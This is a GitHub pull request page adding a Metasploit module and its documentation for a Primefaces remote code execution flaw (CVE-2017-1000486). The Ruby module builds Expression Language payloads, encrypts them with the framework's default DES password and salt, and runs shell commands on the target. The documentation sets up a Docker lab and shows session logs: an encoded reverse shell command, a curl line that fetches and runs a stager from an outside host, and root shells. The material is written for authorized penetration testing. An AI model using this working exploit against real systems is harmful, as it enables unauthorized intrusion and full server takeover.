Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Primefaces RCE (CVE-2017-1000486) #19649

Merged
merged 5 commits into from
Dec 7, 2024
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
## Vulnerable Application

This module exploits an expression language remote code execution flaw in the Primefaces JSF framework.
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
due to the use of weak crypto and default encryption password and salt.

Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. The following payloads worked in the docker image:

* `payload/cmd/unix/reverse_jjs`
* `payload/cmd/unix/reverse_openssl`
* `payload/cmd/unix/reverse_perl`
* `payload/cmd/unix/reverse_python`
* `payload/cmd/unix/reverse_python_ssl`

### Docker Image

1. `git clone https://github.com/pimps/CVE-2017-1000486/tree/master`
2. `cd CVE-2017-1000486/`
3. `docker build . -t primefaces`
4. `docker run -p 8090:8080 -t primefaces`

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use exploit/linux/http/primefaces_weak_encryption_rce`
1. Do: `set rhosts <ip>>`
1. Do: `set verbose true`
1. Do: `set payload payload/cmd/unix/reverse_jjs`
1. You should get a shell.

## Options

### PASSWORD

The password to login. Defaults to `primefaces`

## Scenarios

### Docker image with Tomcat 7.0 with the Primefaces 5.2 Showcase application

CMD payload

```
msf6 > use exploit/linux/http/primefaces_weak_encryption_rce
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090
rport => 8090
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true
verbose => true
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload payload/cmd/unix/reverse_jjs
payload => cmd/unix/reverse_jjs
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit

[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Victim evaluates Expression Language expressions
[*] Attempting to execute: echo ZWNobyAiZXZhbChuZXcgamF2YS5sYW5nLlN0cmluZyhqYXZhLnV0aWwuQmFzZTY0LmRlY29kZXIuZGVjb2RlKCdkbUZ5SUZCeWIyTmxjM05DZFdsc1pHVnlQVXBoZG1FdWRIbHdaU2dpYW1GMllTNXNZVzVuTGxCeWIyTmxjM05DZFdsc1pHVnlJaWs3ZG1GeUlIQTlibVYzSUZCeWIyTmxjM05DZFdsc1pHVnlLQ0l2WW1sdUwzTm9JaWt1Y21Wa2FYSmxZM1JGY25KdmNsTjBjbVZoYlNoMGNuVmxLUzV6ZEdGeWRDZ3BPM1poY2lCemN6MUtZWFpoTG5SNWNHVW9JbXBoZG1FdWJtVjBMbE52WTJ0bGRDSXBPM1poY2lCelBXNWxkeUJ6Y3lnaU1TNHhMakV1TVNJc05EUTBOQ2s3ZG1GeUlIQnBQWEF1WjJWMFNXNXdkWFJUZEhKbFlXMG9LU3h3WlQxd0xtZGxkRVZ5Y205eVUzUnlaV0Z0S0Nrc2MyazljeTVuWlhSSmJuQjFkRk4wY21WaGJTZ3BPM1poY2lCd2J6MXdMbWRsZEU5MWRIQjFkRk4wY21WaGJTZ3BMSE52UFhNdVoyVjBUM1YwY0hWMFUzUnlaV0Z0S0NrN2QyaHBiR1VvSVhNdWFYTkRiRzl6WldRb0tTbDdkMmhwYkdVb2NHa3VZWFpoYVd4aFlteGxLQ2srTUNsemJ5NTNjbWwwWlNod2FTNXlaV0ZrS0NrcE8zZG9hV3hsS0hCbExtRjJZV2xzWVdKc1pTZ3BQakFwYzI4dWQzSnBkR1VvY0dVdWNtVmhaQ2dwS1R0M2FHbHNaU2h6YVM1aGRtRnBiR0ZpYkdVb0tUNHdLWEJ2TG5keWFYUmxLSE5wTG5KbFlXUW9LU2s3YzI4dVpteDFjMmdvS1R0d2J5NW1iSFZ6YUNncE8wcGhkbUV1ZEhsd1pTZ2lhbUYyWVM1c1lXNW5MbFJvY21WaFpDSXBMbk5zWldWd0tEVXdLVHQwY25sN2NDNWxlR2wwVm1Gc2RXVW9LVHRpY21WaGF6dDlZMkYwWTJnb1pTbDdmWDA3Y0M1a1pYTjBjbTk1S0NrN2N5NWpiRzl6WlNncE93PT0nKSkpOyJ8ampz|((command -v base64 >/dev/null && (base64 --decode || base64 -d)) || (command -v openssl >/dev/null && openssl enc -base64 -d))|sh
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:54104) at 2024-11-14 11:31:01 -0500

whoami
root
```

fetch payload




h00die marked this conversation as resolved.
Show resolved Hide resolved

```
msf6 > use exploit/linux/http/primefaces_weak_encryption_rce
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090
rport => 8090
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true
verbose => true
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit

[*] Command to run on remote host: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD &
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Victim evaluates Expression Language expressions
[*] Attempting to execute: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD &
[*] Client 172.17.0.2 requested /aZRe4yWUN3U2-lDtdsaGlA
[*] Sending payload to 172.17.0.2 (curl/7.64.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.2:44312) at 2024-11-14 12:04:14 -0500

meterpreter > sysinfo
Computer : 172.17.0.2
OS : Debian 10.10 (Linux 6.11.2-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
```
141 changes: 141 additions & 0 deletions modules/exploits/linux/http/primefaces_weak_encryption_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,141 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Primefaces Remote Code Execution Exploit',
'Description' => %q{
This module exploits an expression language remote code execution flaw in the Primefaces JSF framework.
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
due to the use of weak crypto and default encryption password and salt.

Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See
documentation for working payloads.
},
'Author' => [
'Bjoern Schuette', # EDB
'h00die' # lots of fixes, documentation, standardization
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2017-1000486'],
['URL', 'https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
['URL', 'https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces'],
['URL', 'http://schuette.se/2018/01/16/in-your-primeface/'],
['URL', 'https://github.com/primefaces/primefaces/issues/1152'],
['URL', 'https://github.com/pimps/CVE-2017-1000486/tree/master'],
['EDB', '43733']
],
'Payload' => {
'BadChars' => '"\'\\' # all threw errors
},
'Privileged' => true,
'DisclosureDate' => '2016-02-15',
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
h00die marked this conversation as resolved.
Show resolved Hide resolved
'Arch' => ARCH_CMD,
'Targets' => [
[
'Universal', {},
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)

register_options([
Opt::RPORT(80),
OptString.new('PASSWORD', [ true, 'The password to login', 'primefaces']),
OptString.new('TARGETURI', [true, 'The base path to primefaces', '/'])
])
end

def encrypt_el(password, payload)
# el == Java Expression Language
salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
iteration_count = 19

cipher = OpenSSL::Cipher.new('DES')
cipher.encrypt
cipher.pkcs5_keyivgen password, salt, iteration_count

ciphertext = cipher.update payload
ciphertext << cipher.final
ciphertext
end

def http_send_command(payload_wrapper)
encrypted_payload = encrypt_el(datastore['PASSWORD'], payload_wrapper)
encrypted_payload = Rex::Text.encode_base64(encrypted_payload)

# send the payload and execute command
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'javax.faces.resource', 'dynamiccontent.properties.xhtml'),
'vars_post' => {
'pfdrt' => 'sc',
'ln' => 'primefaces',
'pfdrid' => encrypted_payload
}
})

res
end

def exploit
cmd = payload.encoded

# good for testing
# cmd = "whoami"
# error logs will show
# Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle
# SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed
payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
payload_wrapper << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
payload_wrapper << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
payload_wrapper << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
payload_wrapper << '${session.getAttribute("scriptengine").eval('
payload_wrapper << '"var os = java.lang.System.getProperty(\"os.name\");'
payload_wrapper << 'var proc = null;'
payload_wrapper << 'os.toLowerCase().contains(\"win\")? '
payload_wrapper << 'proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/C\",\"%s\"]).start()' % cmd
h00die marked this conversation as resolved.
Show resolved Hide resolved
payload_wrapper << ' : proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"%s\"]).start();' % cmd
payload_wrapper << 'var is = proc.getInputStream();'
payload_wrapper << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}'

vprint_status("Attempting to execute: #{cmd}")
http_send_command(payload_wrapper)
# successful exploitation gives us no response
end

def check
marker = rand_text_alpha_lower(5..9)
# https://github.com/Pastea/CVE-2017-1000486/blob/main/exploit.py#L135C14-L135C92
# payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}'
payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}"

res = http_send_command(payload_wrapper)
return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil?
return Exploit::CheckCode::Vulnerable('Victim evaluates Expression Language expressions') if res.headers && res.headers[marker] == marker
h00die marked this conversation as resolved.
Show resolved Hide resolved

Exploit::CheckCode::Safe('Server does not process Expression Language expressions, likely not vulnerable')
h00die marked this conversation as resolved.
Show resolved Hide resolved
end

end